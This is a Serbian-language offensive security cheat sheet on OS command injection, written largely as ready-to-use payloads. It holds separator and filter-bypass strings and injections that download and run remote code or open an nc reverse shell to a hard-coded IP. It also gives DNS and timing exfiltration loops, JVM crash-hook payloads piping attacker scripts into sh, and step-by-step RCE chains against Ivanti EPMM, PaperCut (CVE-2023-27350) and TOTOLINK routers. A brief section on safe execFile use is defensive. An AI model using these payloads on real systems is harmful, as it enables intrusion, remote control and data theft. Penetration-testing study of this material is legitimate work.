Command Injection
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Šta je command Injection?
A command injection omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
Kontekst
U zavisnosti od gde se vaš unos injektuje možda ćete morati da prekinete citirani kontekst (koristeći " ili ') pre komandi.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Ograničenja Bypasses
Ako pokušavate da izvršite proizvoljne komande unutar linux mašine biće vam interesantno da pročitate o ovim Bypasses:
Primeri
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash arithmetic evaluation u RewriteMap/CGI-style skriptama
RewriteMap helpers written in bash sometimes push query params into globals and later compare them in arithmetic contexts ([[ $a -gt $b ]], $((...)), let). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.
Šablon viđen u Ivanti EPMM RewriteMap helpers:
- Params map to globals (
st→gStartTime,h→theValue). - Kasnija provera:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Pošaljite
st=theValuetako dagStartTimepokazuje na stringtheValue. - Pošaljite
h=gPath['sleep 5']tako datheValuesadrži indeks niza; tokom arithmetic check izvrši sesleep 5(zamenite stvarnim payloadom).
Probe (~5s delay then 404 if vulnerable):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Napomene:
- Potražite isti helper pod drugim prefiksima (npr.
/mifs/c/aftstore/fob/). - Aritmetički konteksti tretiraju nepoznate tokene kao identifikatore promenljivih/nizova, pa ovo zaobilazi jednostavne filtre metakaraktera.
Parametri
Evo prvih 25 parametara koji mogu biti ranjivi na code injection i slične RCE ranjivosti (iz link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Ekstrakcija podataka: karakter po karakter
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Bazirano na alatu sa https://github.com/HoLyVieR/dnsbin, koji je takođe hostovan na dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online alati za proveru eksfiltracije podataka zasnovane na DNS-u:
- dnsbin.zhack.ca
- pingb.in
Zaobilaženje filtera
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Pri reviziji JavaScript/TypeScript back-endova često ćete naići na Node.js child_process API.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() pokreće shell (/bin/sh -c), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, ;, &&, |, $(), …) dovesti do command injection kada se unos korisnika konkatenira u string.
Ublažavanje: koristite execFile() (ili spawn() bez shell opcije) i navedite svaki argument kao poseban element niza tako da nije uključen shell:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Nisu sve injekcije zavisne od shell metacharacters. Ako aplikacija prosleđuje nepouzdane stringove kao argumente sistemskog utiliteta (čak i pomoću execve/execFile i bez shell-a), mnogi programi će i dalje parsirati bilo koji argument koji počinje sa - ili -- kao opciju. To napadaču omogućava da promeni režime rada, promeni putanje izlaza ili aktivira opasna ponašanja bez ulaska u shell.
Tipična mesta gde se ovo pojavljuje:
- Embedded web UIs/CGI handlers that build commands like
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) where multiple handlers reuse the same weak validator.
Šta pokušati:
- Provide values that start with
-/--to be consumed as flags by the downstream tool. - Zloupotrebite flagove koji menjaju ponašanje ili upisuju fajlove, na primer:
ping:-f/-c 100000da opteretite uređaj (DoS)curl:-o /tmp/xda upišete proizvoljne putanje,-K <url>da učitate config pod kontrolom napadačatcpdump:-G 1 -W 1 -z /path/script.shda postignete izvršavanje nakon rotacije u nesigurnim wrapper-ima- Ako program podržava
--end-of-options, pokušajte da zaobiđete naivne mitigacije koje prepended--na pogrešno mesto.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM dijagnostički callback-ovi za zagarantovan exec
Bilo koji primitiv koji vam dozvoljava da ubrizgate JVM argumente komandne linije (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, itd.) može se pretvoriti u pouzdan RCE bez diranja bytecode-a aplikacije:
- Prinudno izazovite deterministički crash smanjenjem metaspace-a ili heap-a:
-XX:MaxMetaspaceSize=16m(ili mali-Xmx). Ovo garantujeOutOfMemoryErrorčak i tokom ranog bootstrap-a. - Dodajte error hook:
-XX:OnOutOfMemoryError="<cmd>"ili-XX:OnError="<cmd>"izvršava proizvoljnu OS komandu kad god JVM abortira. - Po želji dodajte
-XX:+CrashOnOutOfMemoryErrorda izbegnete pokušaje oporavka i zadržite payload jednokratnim.
Primeri payload-a:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Pošto ove dijagnostike parsira sam JVM, nisu potrebni shell metacharacters i komanda se izvršava sa istim nivoom integriteta kao i launcher. Desktop IPC bagovi koji prosleđuju user-supplied JVM flags (see Localhost WebSocket abuse) stoga se direktno prevode u OS command execution.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Ranljive NG/MF builds (npr., 22.0.5 Build 63914) izlažu
/app?service=page/SetupCompleted; poseta toj lokaciji i klik na Login vraća važećiJSESSIONIDbez kredencijala (authentication bypass u setup flow-u). - U Options → Config Editor, postavite
print-and-device.script.enabled=Yiprint.script.sandboxed=Nda omogućite printer scripting i onemogućite sandbox. - U printer Scripting tabu, enableujte script i ostavite
printJobHookdefinisan da biste izbegli validation errors, ali postavite payload outside funkcije tako da se izvrši odmah kada kliknete Apply (no print job needed):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Zameni callback sa reverse shell; ako UI/PoC ne može da rukuje pipes/redirects, stage-uj payload jednom komandom i exec-uj ga drugim zahtevom.
- Horizon3’s CVE-2023-27350.py automatizuje auth bypass, config flips, command execution i rollback — pokreni ga kroz upstream proxy (npr.,
proxychains→ Squid) kada je servis dostupan samo interno.
Lista za otkrivanje brute-force napada
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Reference
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
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